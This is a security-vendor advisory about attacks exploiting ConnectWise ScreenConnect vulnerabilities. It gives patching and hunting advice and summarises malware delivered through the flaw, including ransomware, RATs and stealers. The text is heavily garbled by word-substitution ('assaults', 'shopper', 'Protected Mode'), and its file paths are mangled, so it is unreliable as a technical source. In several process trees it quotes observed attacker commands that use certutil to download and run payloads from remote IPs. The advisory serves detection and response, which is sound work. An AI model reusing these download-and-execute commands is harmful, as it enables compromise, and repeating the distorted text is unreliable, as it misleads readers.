ConnectWise ScreenConnect attacks deliver malware

Sophos X-Ops is monitoring a creating wave of vulnerability exploitation concentrating on unpatched ConnectWise ScreenConnect installations. This web page gives recommendation and steerage for purchasers, researchers, investigators and incident responders. This info relies on statement and evaluation of assaults by SophosLabs, Sophos Managed Detection and Response (MDR) and Sophos Incident Response (IR), wherein the ScreenConnect shopper or server was concerned.

We’ll replace this web page as occasions and understanding develop, together with our risk and detection steerage.

On February 19, 2024, ConnectWise launched a safety advisory for its distant monitoring and administration (RMM) software program. Their advisory highlighted two vulnerabilities that affect older variations of ScreenConnect and have been mitigated in model 23.9.8 and later.

ConnectWise states within the advisory these vulnerabilities are rated as “Important—Vulnerabilities that would enable the power to execute distant code or straight affect confidential knowledge or crucial methods”. The 2 vulnerabilities are:

CVE-2024-1709 (CWE-288) — Authentication Bypass Utilizing Alternate Path or Channel
- Base CVSS rating of 10, indicating “Important”
CVE-2024-1708 (CWE-22) — Improper Limitation of a Pathname to a Restricted Listing (“Path Traversal”)
- Base CVSS rating of 8.4, nonetheless thought-about “Excessive Precedence”

The vulnerabilities can have an effect on each the ScreenConnect server and ScreenConnect shopper software program, in several methods. Attackers have discovered that they’ll deploy malware to servers or to workstations with the shopper software program put in. Sophos has proof that assaults in opposition to each servers and shopper machines are presently underway. Patching the server is not going to take away any malware or webshells attackers handle to deploy previous to patching and any compromised environments must be investigated.

Cloud-hosted implementations of ScreenConnect, together with screenconnect.com and hostedrmm.com, have already obtained updates to deal with these vulnerabilities. Self-hosted (on-premise) cases stay in danger till they’re manually upgraded, and it’s our suggestion to patch to ScreenConnect model 23.9.8 instantly. The improve is offered on ScreenConnect’s obtain web page.

On February 21, 2024, proof of idea (PoC) code was launched on GitHub that exploits these vulnerabilities and provides a brand new person to the compromised system. ConnectWise has additionally up to date their preliminary report to incorporate noticed, energetic exploitation within the wild of those vulnerabilities.

On February 22, 2024, Sophos X-Ops reported via our social media deal with that regardless of the latest regulation enforcement exercise in opposition to the LockBit risk actor group we had noticed a number of assaults over the previous 24 hours that gave the impression to be carried out with LockBit ransomware, constructed utilizing a leaked malware builder instrument. It seems that our signature-based detection appropriately recognized the payloads as ransomware generated by the leaked LockBit builder, however the ransom notes dropped by these payloads recognized one as “buhtiRansom,” and the opposite didn’t have a reputation in its ransom be aware.

This text contains further particulars and evaluation of the ScreenConnect assaults Sophos noticed previously 48 hours.

Verify whether or not you’ve an on-premises deployment of ScreenConnect Server
- When you have an on-premises occasion in your setting working a model previous to 23.9.8, take it offline instantly till you improve to the most recent model; isolate or shut it down till it’s patched and investigated for indicators of exploitation
- When you have an on-premises model in your setting that was up to date to model 23.9.8 or later previous to February 21, you aren’t in danger, although it might be prudent to examine the server to make sure no malicious payloads have been put in
- For those who use the cloud-hosted model, you aren’t in danger and no additional actions are obligatory
In case your deployment of ScreenConnect Server is hosted by a third-party vendor, affirm with them they’ve upgraded their occasion to 23.9.8 or later; in the event that they haven’t, suggest that they take it offline till the patches are utilized
Scan your setting and buyer environments for cases of ScreenConnect that you could be not concentrate on, to keep away from the danger of these ScreenConnect being unpatched and exposing the setting to a Provide Chain Assault
When you have ScreenConnect shoppers and are not sure of/unable to find out the patch standing of all servers that will hook up with it, it is best to presume these servers are susceptible till you may confirm in any other case
You’ll be able to defend ScreenConnect shoppers from susceptible servers by implementing Sophos Utility Management Coverage to dam ScreenConnect till the servers may be verified to be patched Extra particulars on Utility Management may be discovered on our web site
As soon as patching has been accomplished, carry out a radical overview of the ScreenConnect set up on the lookout for unknown accounts and irregular server exercise.
- Overview the customers.xml for indicators of latest accounts or modifications
- Assume that any machines internet hosting a ScreenConnect server might have a number of implanted net shells (or different distant entry instruments not put in by your IT staff) that must be discovered and eliminated
- Examine your property for newly added person IDs or accounts and take away or freeze entry to them till they’re identified to be professional
- In an on-premises set up, test the situation the place any ScreenConnect Extensions are situated for webshells or different payloads (information with .ps1, .bat or .cmd file suffixes)
Deploy endpoint safety to any server presently or previously used to run ScreenConnect
XG Firewall prospects will quickly be capable of allow new IDS signatures designed to detect malicious exercise associated to ScreenConnect exploits
If you understand how to make use of penetration-testing instruments just like the Metasploit Framework, there may be already a Metasploit module you need to use to check whether or not your units are susceptible. There are a number of different proofs-of-concept within the wild, as nicely

For the reason that information broke this week concerning the vulnerability in ScreenConnect, Sophos analysts have been carefully monitoring telemetry methods on the lookout for any anomalous or malicious conduct wherein the ScreenConnect shopper or server software program was both the basis trigger or was a part of the assault chain in a roundabout way. The groups then sifted via this noisy log knowledge to isolate and doc particular malicious exercise.

Earlier than this vulnerability had turn out to be extensively identified, there had been a reasonable variety of every day telemetry entries wherein risk actors tried to deploy malware or run a malicious command on a buyer machine working ScreenConnect. Nonetheless, since February 21, the every day quantity of telemetry occasions involving ScreenConnect has greater than doubled.

Determine 1: A 90-day abstract of hits with a ScreenConnect dad or mum course of on machines; be aware the spike in the previous few days

Many firms and managed service suppliers use ScreenConnect, and never all conduct we noticed got here as a direct results of the vulnerability being exploited, however Sophos believes a major quantity of the present wave of telemetry occasions have been captured as a direct results of the elevated risk actor consideration to ScreenConnect.

Menace actors have been leveraging the exploits in opposition to ScreenConnect to launch all kinds of assaults and ship a spread of several types of malware to focus on machines. What follows is a quick abstract of a number of the incidents we’re presently monitoring.

LockBit ransomware, constructed with a leaked malware compiler

Not less than one risk actor is abusing ScreenConnect to deploy a ransomware executable. Sophos suspects it’s the identical individual or group; an equivalent payload (SHA-256 2da975fee507060baa1042fb45e8467579abf3f348f1fd37b86bb742db63438a) was found in additional than 30 totally different buyer networks, starting on February 22. This distribution sample is strongly indicative of the risk actor pushing the payload from a compromised server.

The executable in query was constructed utilizing the LockBit 3 ransomware builder instrument leaked in 2022, so this specific pattern could not have originated with the precise LockBit builders. Our detection for this era of LockBit (Troj/Ransom-GYT) was constructed particularly to detect samples generated by the leaked builder instrument earlier than they run. We’ve additionally seen a reminiscence detection rule (Mem/LockBit-B) stopping the execution of each the unique and the copycat builds of LockBit in some instances.

Nonetheless, the ransomware didn’t name itself LockBit.

Determine 2: The ransom be aware dropped by this malware self-identifies as “buhtiRansom”

Determine 3: This root-cause evaluation (RCA) graph highlights malicious exercise in the course of the assaults involving the “buhtiRansom” LockBit variant

The attackers deploying this ransomware executable have constantly used the filename of “enc.exe” or “upd.exe” within the following places

<d>WindowsTempScreenConnect23.9.6.8787upd.exe

<d>WindowsTempScreenConnect23.9.6.8787enc.exe

<d>customers[username]tempenc.exe

The “buhtiRansom” LockBit variant was not the one ransomware we noticed within the wild.

We additionally noticed a distinct attacker try to drop one other payload (a50d9954c0a50e5804065a8165b18571048160200249766bfa2f75d03c8cb6d0) utilizing the certutil utility to obtain it from an online handle, write it to the basis of the C: drive with the filename svchost.exe, and execute it. On this case, the behavioral rule Lateral_1b blocked the file from being downloaded and the assault failed.

<d>Program Information (x86)ScreenConnect Consumer (60ccb130004e2bbf)ScreenConnect.ClientService.exe -> certutil.exe -urlcache -f http://<ip-address>/svchost.exe c:svchost.exe

Whereas it did not deploy on the shopper setting, once we ran it on a sandbox, it dropped a ransom be aware that appears like this:

Determine 4: The ransom be aware we noticed in a sandboxed setting

The malware additionally modified the desktop background to this:

Determine 5: The desktop background we noticed

So a minimum of this pattern self-identifies as a variant based mostly on the Lockbit builder code.

AsyncRAT assaults

The Labs staff who handle our CryptoGuard and HitmanPro instruments observed a burst of detections downstream of ScreenConnect. Digging in, we are able to see these assaults, wherein a malicious course of is triggering our HollowProcess detection in opposition to PowerShell, intend to ship AsyncRAT as a payload.

Password stealers

Telemetry signifies attackers are additionally pushing the Vidar/Redline knowledge stealer malware (SHA-256 c94038781c56ab85d2f110db4f45b86ccf269e77a3ff4b9133b96745ff97d25f) through ScreenConnect. The HMPA CookieGuard and TTP classifications (T1555.003) set off on any such assault. The assault seems to be just like the ScreenConnect.WindowsClient.exe launches the malware from this location:

<d>Customers<username>DocumentsConnectWiseControlTempUpdaterScreenConnect.exe

SimpleHelp distant entry shopper, adopted by ransomware

One risk actor abused ScreenConnect to push one other distant entry shopper to the goal machine. On this instance, the attacker used ScreenConnect.WindowsClient.exe to launch the SimpleHelp installer (named first.exe) from this location:

<d>WindowsTempScreenConnect20.13.1905.7657Filesfirst.exe

5 hours later, on the identical machine, we noticed ransom notes seem on the system and information renamed with a distinct file extension. The ransomware had been put in utilizing the msiexec.exe utility. The method tree for this occasion appeared like this:

companies.exe ->

msiexec.exe ->

<d>WindowsTEMPMW-5f3810bb-bac1-4cc4-a1a3-7e04046d7ea4filescrypt64ult.exe

Determine 6: A root-cause evaluation (RCA) diagram exhibits companies.exe launching msiexec.exe, which in flip launches the ransomware crypt64ult.exe, which modifications a file’s file extension to .CRYPT

A couple of minutes later, the attackers use ScreenConnect to run a command that downloads one other malware payload to this machine, utilizing the Home windows certutil utility, then runs it.

ScreenConnect.ClientService.exe ->

cmd.exe /c c:windowstempScreenConnect20.13.19057657<guid>run.cmd ->

certutil -urlcache -f http://<ip>:8084/msappdata.msi c:mpyutd.msi

Rust infostealer

Determine 7: The Rust infostealer assault tree

Attackers use the ScreenConnect shopper utility to run a batch script they’ve downloaded into the folder belonging to a different distant entry instrument, known as InVentry Distant Help. The batch script downloads a payload, written in Rust, from an AWS storage server. The payload, when it runs, injects itself into Explorer.exe then deletes itself from the filesystem.

Analysts haven’t studied the payload, however a number of different distributors classify it as malware known as Redcap, which is used to steal and exfiltrate info from servers.

Cobalt Strike payloads

On February 22, three unrelated firms (two in North America, one in Europe) have been hit with a remarkably related assault that delivered a Cobalt Strike beacon to a machine within the community with the ScreenConnect shopper put in. The telemetry indicated that in all three instances, the Cobalt Strike payload was caught and prevented from working by a behavioral rule known as AMSI/Cobalt-A.

The ScreenConnect shopper obtained a file with a .cmd extension within the non permanent listing the place it shops downloaded information, then executed it. The .cmd tried to launch PowerShell to make use of it to obtain the beacon, however was stopped by the endpoint rule. Subsequent evaluation revealed that the payload was retrieved from the identical C2 server in all three instances.

Xworm payload tried supply to residence person

One machine that was working the ScreenConnect shopper software program was attacked with malware known as Xworm. The exploit induced the shopper to put in writing a file into the %temp% listing after which triggered the shopper to run it. The file contained a one-line PowerShell command that downloaded a 531KB file from a public Pastebin-type server. The file was, itself, a script that contained a large knowledge blob and a small quantity of script code to remodel the info right into a Home windows executable.

Determine 8: An excerpt from the payload

As soon as decoded, the malware makes use of quite a lot of persistence strategies and might unfold to different machines by copying itself to USB storage media. It’s also a full-featured RAT and provides an exclusion for itself to Home windows Defender. Nonetheless, the endpoint safety on the shopper’s machine prevented it from being contaminated. The signatures Troj/RAT-FJ and Troj/PSDrop-IU successfully neutralized the risk earlier than it might trigger hurt.

Protected Mode RAT deploys its personal ScreenConnect for persistence

In an assault in opposition to the ScreenConnect server cases, a risk actor is pushing an executable named patch3.exe to susceptible servers. The patch3 executable is a RAT with some attention-grabbing behaviors; It apparently provides entries into the registry so that it’s going to begin up even when the pc is booted into Protected Mode. It additionally downloads an .msi installer.

Determine 9: A part of an noticed assault by the Protected Mode RAT

MDR analysts wanting extra carefully into this pattern decided that the risk actor was putting in a brand new occasion of the ScreenConnect shopper on the contaminated machine, then utilizing their (the attackers’) personal ScreenConnect shopper to speak to (and remotely handle) the goal’s ScreenConnect server. The contaminated machine later launched varied PowerShell instructions. Irony isn’t lifeless.

The simplicity of exploiting these vulnerabilities makes it crucial for organizations to evaluate their publicity and take decisive steps to mitigate dangers. The next factors supply a high-level information to analyze your setting:

Identification of ScreenConnect installations: Step one includes finding all cases of ScreenConnect inside your group’s community. Bear in mind, a few of these installations may be managed by exterior service suppliers, so thoroughness is essential. The server element is in the end what wants patched, however realizing the scope of shopper installations will assist assess publicity
Isolation and elimination: Quickly isolate or uninstall the ScreenConnect Consumer software program from recognized units. This measure is crucial till you may affirm that the server has been up to date with the required safety patches or till a complete evaluation is carried out. For those who don’t handle the ScreenConnect Server on your setting, uninstallation could be the quickest path to mitigate the danger
Conduct detailed evaluation: On units with ScreenConnect shopper software program, carry out an in-depth investigation. Deal with:
- Creation of latest native customers: Examine for any unauthorized new person accounts which have been created.
- Suspicious shopper software program exercise: Monitor for uncommon instructions executed by the ScreenConnect shopper
- System and area reconnaissance actions: Search for instructions that point out scanning or probing of your methods.
- Disabling of safety controls: Search for any actions that try to deactivate safety measures, equivalent to anti-virus software program and native firewall insurance policies.
Provoke Incident Response if wanted: In case your evaluation uncovers any suspicious actions, promptly activate your incident response plan. This step is essential to know the scope of the potential incident and to implement remediation methods

Sophos X-Ops Incident Response has constructed a sequence of XDR queries for purchasers to make use of for risk looking of their setting. These queries embrace the next:

Examine model of ScreenConnect Server – Identifies machines working ScreenConnect Server susceptible to Authentication Bypass (CVE-2024-1709 & CVE-2024-1708)
Examine model of ScreenConnect Server.sql (datalake) – Identifies machines working ScreenConnect Server susceptible to Authentication Bypass (CVE-2024-1709 & CVE-2024-1708)
ScreenConnect Relay IP – Establish the IP addresses that the ScreenConnect software working on machines is connecting to. these IP addresses may be utilized in exterior instruments like Shodan.io and Censys.io to evaluate if the ScreenConnect server corresponding to those endpoints is susceptible to CVE-2024-1709 and CVE-2024-1708
SetupWizard.aspx in IIS logs – Search for the trailing slash after SetupWizard.aspx within the IIS logs, which may be an indicator of attainable exploitation of Screenconnect auth bypass
Examine person.xml file for brand new customers created – Examine the Consumer.xml file discovered within the ScreenConnectApp_Data folder for attainable indicators of exploitation within the ScreenConnect Server. The content material of the file shall be up to date when an attacker executes the exploit and creates a brand new person
Proof of non permanent Consumer File creation – Examine for non permanent person creation XML information on disk inside a time vary. This file may be an indicator for attainable exploitation of CVE-2024-1709.
Examine for .ASPX .ASHX information in App_Extensions folder – Detect potential exploitation of CVE-2024-1708 on a machine internet hosting a ScreenConnect server by on the lookout for .ASPX and .ASHX information written within the ScreenConnectApp_Extensions folder
Establish shells being spawned from ScreenConnect – Establish shells being spawned from ScreenConnect course of.

The next detection guidelines have been beforehand carried out to establish abuse of ScreenConnect and are nonetheless viable for figuring out post-exploitation exercise.

WIN-EXE-PRC-SCREENCONNECT-COMMAND-EXECUTION-1
WIN-EXE-PRC-SCREENCONNECT-REMOTE-FILE-EXECUTION-1
WIN-EXE-PRC-SCREENCONNECT-RUNFILE-EXECUTION-1

We’ve got a number of protections inside InterceptX to dam post-exploitation exercise. We’ve additionally launched the next detection for publicly obtainable exploit scripts seen concentrating on CVE-2024-1709 (CWE-288) — Authentication Bypass Utilizing Alternate Path or Channel:

Protections for SFOS and EPIPS:

SID	Title
2309339	Connectwise Screenconnect Authentication Bypass Vulnerability
2309343	Connectwise Screenconnect Authentication Bypass Vulnerability
2309344	Connectwise Screenconnect Authentication Bypass Vulnerability